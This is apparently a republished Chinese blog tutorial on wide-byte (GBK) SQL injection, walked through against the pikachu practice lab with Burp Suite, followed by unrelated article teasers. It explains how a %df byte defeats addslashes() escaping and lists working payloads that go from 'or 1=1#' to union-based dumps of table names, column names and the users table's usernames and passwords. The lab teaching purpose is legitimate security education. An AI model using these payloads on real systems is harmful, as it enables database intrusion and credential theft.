13.SQL注入-寬字節

SQL注入-寬字節

含義:

MySQL是用的PHP語言,然后PHP有addslashes()等函數,這類函數會自動過濾 ’ ‘’ null 等這些敏感字符,將它們轉義成’ ‘’ \null;然后寬字節字符集比如GBK它會自動把兩個字節的字符識別為一個漢字,所以我們在單引號前面加一個%df,從而使單引號逃逸。
寬字節的注入條件有兩個:
1.數據庫編碼設置成GB系列

這里說的GB系列編碼,不是指PHP頁面的編碼,而是連接數據庫使用的編碼。

2.使用了轉義函數,將GET、POST、cookie傳遞的參數進行過濾,將單引號、雙引號、null等敏感字符用轉義符 \ 進行轉義。

常見的包括addslashes()、mysql_real_escape_string()函數。
轉義函數的轉義作用,就是我們常說的“過濾機制”。

當兩個條件都滿足時,才會存在寬字節注入。

具體原理:

1.通過前面的SQL注入實驗可以發現,字符型的注入點我們都是用單引號來判斷的,但是當遇到addslashes()時,單引號會被轉義成 ’ ,導致我們用來判斷注入點的單引號失效。
所以我們的目的就是使轉義符 \ 失效、使單引號逃逸。
2.我們通過URL編碼來分析,首先先看看這些特殊符號的URL編碼:

URL轉碼
空格 %20
'   %27
#   %23
\   %5C

3.payload的是【%df '】,其原理是當MySQL在使用GBK編碼的時候,會認為兩個字符是一個繁體漢字,然后讓我們的單引號%27成功逃逸
在這里插入圖片描述

環境演示
通過pikachu請求寬字節注入,并且bp工具進行抓包
在這里插入圖片描述

抓包的數據進行發送到repeater上進行輸入payload語句測試
在這里插入圖片描述

添加payload語句并發送,暴漏出所有的用戶數據信息

name=%df' or 1=1#

如圖所示:
在這里插入圖片描述

判斷可顯字段
這里用order by判斷字段數量會報錯,不知道是什么原因。直接跳到下一步:用union select聯合查詢直接測試1,2是否為可顯字段。
在這里插入圖片描述

payload語句

name=kobe%df' union select 1,2#

可以看出第1,2個為可顯字段
在這里插入圖片描述

爆數據庫名。
可以看到數據庫名為pikachu,還有數據版本。
在這里插入圖片描述

爆數據庫表名。
注釋:按照之前union聯合查詢注入的payload,【union select group_concat(table_name),2 from information_schema.tables where table_schema=“pikachu”】里面是存在引號的,但如果用%df來使引號逃逸,就會使查詢語句出錯,所以后面的payload都是用嵌套查詢,避免使用引號。

name%df' union select (select group_concat(table_name) from information_schema.tables where table_schema=database()),2#

遍歷出來所有的表名
在這里插入圖片描述

暴字段名

kobe%df' union select (select group_concat(column_name) from information_schema.columns where table_schema=(select database()) and table_name=(select table_name from information_schema.tables where table_schema=(select database())limit 3,1)),2#

如圖所示,暴漏出字段名
在這里插入圖片描述

爆字段內容。

kobe%df' union select (select group_concat(username,0x3b,password) from pikachu.users),2#

數據庫對應的用戶名和密碼,直接解密即可;
在這里插入圖片描述

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/diannao/42191.shtml
繁體地址,請注明出處:http://hk.pswp.cn/diannao/42191.shtml
英文地址,請注明出處:http://en.pswp.cn/diannao/42191.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

內容營銷專家劉鑫煒:網站排名需考慮哪些SEO優化技巧?

網站排名的SEO優化技巧包括: 1. 關鍵詞研究:了解目標受眾的搜索關鍵詞,將這些關鍵詞合理地應用在網站的標題、描述、正文和標簽中,有助于提高網站排名。 2. 內容優化:創建高質量、有價值的內容,可以吸引搜…

Qt源碼解析之QObject

省去大部分virtual和public方法后,Qobject主要剩下以下成員: //qobject.h class Q_CORE_EXPORT Qobject{Q_OBJECTQ_PROPERTY(QString objectName READ objectName WRITE setObjectName NOTIFY objectNameChanged)Q_DECLARE_PRIVATE(QObject) public:Q_I…

STM32-OC輸出比較和PWM

本內容基于江協科技STM32視頻內容,整理而得。 文章目錄 1. OC輸出比較和PWM1.1 OC輸出比較1.2 PWM(脈沖寬度調制)1.3 輸出比較通道(高級)1.4 輸出比較通道(通用)1.5 輸出比較模式1.6 PWM基本結…

MATLAB常用語句總結7

MATLAB總結7:常見錯誤歸納 本篇專門用于記錄一些應試技巧 文章目錄 MATLAB總結7:常見錯誤歸納前言一、一些小定義和小技巧二、蒙塔卡羅求解方法1.函數的定義2.函數引用3.代碼量較少的蒙塔卡羅 三、函數引用與多變量四、矩陣引用五、非線性函數&#xff…

14-39 劍和詩人13 - 頂級大模型測試分析和建議

????? 隨著對高級語言功能的需求不斷飆升,市場上涌現出大量語言模型,每種模型都擁有獨特的優勢和功能。然而,駕馭這個錯綜復雜的生態系統可能是一項艱巨的任務,開發人員和研究人員經常面臨選擇最適合其特定需求的模型的挑戰。…

哈弗架構和馮諾伊曼架構

文章目錄 1. 計算機體系結構 2. 哈弗架構(Harvard Architecture) 3. 改進的哈弗架構 4. 馮諾伊曼架構(Von Neumann Architecture) 5. 結構對比 1. 計算機體系結構 計算機體系結構是指計算機系統的組織和實現方式&#xff0c…

Python | Leetcode Python題解之第220題存在重復元素III

題目&#xff1a; 題解&#xff1a; class Solution(object):def containsNearbyAlmostDuplicate(self, nums, k, t):from sortedcontainers import SortedSetst SortedSet()left, right 0, 0res 0while right < len(nums):if right - left > k:st.remove(nums[left]…

Python基礎問題匯總

為什么學習Python&#xff1f; 易學易用&#xff1a;Python語法簡潔清晰&#xff0c;易于學習。廣泛的應用領域&#xff1a;適用于Web開發、數據科學、人工智能、自動化腳本等多種場景。強大的庫支持&#xff1a;擁有豐富的第三方庫&#xff0c;如NumPy、Pandas、TensorFlow等…

Sass 語法

文章目錄 編譯變量 \$嵌套 {} > \~導入 import注釋 // /*\* \**/混入 mixin/include繼承 extend數據類型運算控制 if/for/each/while函數 function媒體查詢 media根發出 at-root警告warn/錯誤error/調試debug 編譯 編譯命令 單文件轉換命令 sass input.scss output.css單…

數學基礎 -- 反函數

反函數技術文檔 反函數的定義 反函數&#xff08;inverse function&#xff09;是指一種將函數的輸出反過來作為輸入&#xff0c;從而恢復原來輸入的函數。具體來說&#xff0c;如果有一個函數 f f f&#xff0c;它把一個值 x x x 映射到一個值 y y y&#xff0c;即 f ( …

68.WEB滲透測試-信息收集- WAF、框架組件識別(8)

免責聲明&#xff1a;內容僅供學習參考&#xff0c;請合法利用知識&#xff0c;禁止進行違法犯罪活動&#xff01; 內容參考于&#xff1a; 易錦網校會員專享課 上一個內容&#xff1a;67.WEB滲透測試-信息收集- WAF、框架組件識別&#xff08;7&#xff09; 右邊這些是waf的…

Mean teacher are better role models-論文筆記

論文筆記 資料 1.代碼地址 2.論文地址 https://arxiv.org/pdf/1703.01780 3.數據集地址 CIFAR-10 https://www.cs.utoronto.ca/~kriz/cifar.html 論文摘要的翻譯 最近提出的Temporal Ensembling方法在幾個半監督學習基準中取得了最先進的結果。它維護每個訓練樣本的標簽…

PCIe驅動開發(1)— 開發環境搭建

PCIe驅動開發&#xff08;1&#xff09;— 開發環境搭建 一、前言 二、Ubuntu安裝 參考: VMware下Ubuntu18.04虛擬機的安裝 三、QEMU安裝 下載網站&#xff1a; https://download.qemu.org 下載文件&#xff1a;qemu-4.1.0-rc5.tar.xz 使用如下命令解壓&#xff1a; tar …

opencv 設置超時時間

經常爬視頻數據&#xff0c;然后用opencv做成圖片 因此設置超時時間很重要 cap.set(cv2.CAP_PROP_FPS, timeout_ms) for idx, row in data.iterrows(): if idx < 400: continue try: # 打開視頻文件 timeout_ms 5000 cap cv2.VideoCapture(row[PLAY_URL]) cap.set(cv2.C…

Linux下使用libiw進行無線信號掃描的實例

打開電腦連接wifi是一件很平常的事情,但這些事情通常都是操作系統下的wifi管理程序替我們完成的,如何在程序中掃描wifi信號其實資料并不多,前面已經有兩篇文章介紹了如何使用ioctl()掃描wifi信號,但其實在Linux下有一個簡單的庫對這些ioctl()的操作進行了封裝,這個庫就是l…

深入追蹤:IPython 中 %tb 命令的異常追蹤棧使用指南

深入追蹤&#xff1a;IPython 中 %tb 命令的異常追蹤棧使用指南 在 IPython 的強大功能中&#xff0c;%tb 命令是一個調試工具&#xff0c;用于在出現異常時查看詳細的異常追蹤棧信息。這對于開發者來說是一個不可或缺的功能&#xff0c;因為它提供了對錯誤發生上下文的深入了…

Unity 中,常用的 UnityEngine.Events 中的幾個重要的事件處理函數

在 Unity 中&#xff0c;常用的 UnityEngine.Events 中的幾個重要的事件處理函數包括&#xff1a; UnityEvent UnityEvent 是 Unity 提供的一種事件系統&#xff0c;可以用來實現腳本與場景中的對象之間的互動。它可以用來定義和響應事件&#xff0c;如按鈕點擊、物體碰撞等。示…

GPT-5或重塑我們的工作與生活

引言 在人工智能發展的浪潮中&#xff0c;每一次技術的革新都如同潮水般涌來&#xff0c;帶來前所未有的機遇與挑戰。當新一代大語言模型GPT-5即將登場的消息傳來&#xff0c;我們不禁要問&#xff1a;它將如何重塑我們的工作和日常生活&#xff1f;又將開啟哪些嶄新的應用場景…

故障模式與影響分析(FMEA)的概念

故障模式與影響分析&#xff08;FMEA&#xff09;的概念 故障模式與影響分析&#xff08;Failure Mode and Effects Analysis&#xff0c;FMEA&#xff09;是一種系統性評估方法&#xff0c;用于識別產品設計或過程中可能發生的潛在故障模式&#xff0c;以及這些故障模式對系統…

制作爬取4399游戲名稱軟件

def 爬取4399(): #發送請求并且拿到源代碼 import requests 鏈接https://www.4399.com/ #網站鏈接 請求頭{User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0) Gecko/20100101 Firefox/127.0} #構造請求頭用于爬取網站源代碼使用 網站源代碼…